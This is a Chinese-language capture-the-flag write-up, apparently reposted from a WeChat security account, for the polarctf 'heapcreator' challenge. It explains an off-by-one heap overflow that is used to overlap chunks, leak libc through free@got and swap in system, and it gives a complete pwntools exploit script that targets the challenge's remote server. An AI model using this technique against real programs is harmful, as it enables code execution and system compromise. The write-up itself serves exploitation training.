题目
polarctf 2024冬季个人挑战赛 heapcreator
思路
前面一篇文章讲过Off-By-One在一次申请时候只添加一个输入Size大小的堆块
然而这道题不太一样,申请几个chunk发现一次会创建两个堆块,其中的一个0x20大小的为固定头,记录着我们所实际申请堆块的大小和地址。
同时存在全局指针控制每个堆块的地址
反编译之后看到编辑功能处存在堆溢出Off-By-One漏洞
*(&heaparray + v1)即指向第v1个堆块的固定头位置
第一个参数先+1再*即指向固定头第二参数指向的地址,也就是堆块实际存储content的地址
第二个参数先*再+1即指向第一个固定头的第一个参数然后+1,也就是可以多读入一字节,造成Off-By-One
思路就比较明确了,通过堆溢出修改大小造成堆块重叠,重新申请后做到可以修改固定头指向实际内容堆的指针,通过泄露和修改free@got的内容,构造free(‘/bin/sh’)为实际执行system(‘/bin/sh’)
调试
新建两个堆块,实际分配了四个堆
编辑堆块0,使其溢出至下一个堆块的固定头部分并修改大小为0x41
Free掉1号堆块,那么一号堆块的0x40和0x20都会放入bin中
从而产生了堆块覆盖
此时申请一个0x30大小的堆块,会把原来存内容的0x20分配给新的固定头,会把原来0x20被修改为0x40的堆块分配给新的存内容的堆块,也就是我们可以通过堆块体控制那个固定头的堆块了
当我们把堆块2固定头存储内容的地址改为free@got时,调用show方法打印出free@got中存储的内容从而计算出libc基址
通过edit方法修改固定头指针指向的内容,也就是把free@got存储的值改为了system@libc
最后执行free(‘/bin/sh’)即实际上执行了system(‘/bin/sh’)
代码
Libc选择libc6_2.23-0ubuntu11.3_amd64
from pwn import *
from LibcSearcher import *
context(log_level ='debug', arch ='amd64', os ='linux')
p = remote('1.95.36.136', 2132)
#p=process('./heapcreator')
elf = ELF('./heapcreator')
libc=ELF('./libc-2.23.so')
def debug():
gdb.attach(p)
pause()
def create(size,content):
p.sendlineafter(b"Your choice :", b"1")
p.sendlineafter(b"Size of Heap : ", str(size))
p.sendafter(b"Content of heap:", content)
def show(idx):
p.sendlineafter(b"Your choice :", b"3")
p.sendlineafter(b'Index :',str(idx))
def free(idx):
p.sendlineafter(b"Your choice :", b"4")
p.sendlineafter(b'Index :',str(idx))
def edit(idx, content):
p.sendlineafter(b"Your choice :", b"2")
p.sendlineafter(b"Index :", str(idx))
p.sendafter(b"Content of heap : ", content)
free_got = elf.got['free']
create(0x18,b'AAAA')#0
create(0x10,b'BBBB')#1
edit(0, b'/bin/shx00'+ b'a'*0x10+ b'x41')
free(1)
create(0x30,p64(0)*3+p64(0x21)+p64(0x30)+p64(free_got))
show(1)
free_got_addr = u64(p.recvuntil(b'x7f')[-6:].ljust(8, b'x00'))
libc = LibcSearcher('free', free_got_addr)
libc_base = free_got_addr - libc.dump('free')
system_addr = libc_base + libc.dump('system')
edit(1,p64(system_addr))
free(0)
p.interactive()
原文始发于微信公众号(智佳网络安全):【PWN】Edit堆溢出2.23 Off-By-One之存在固定大小堆块(双堆分配)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论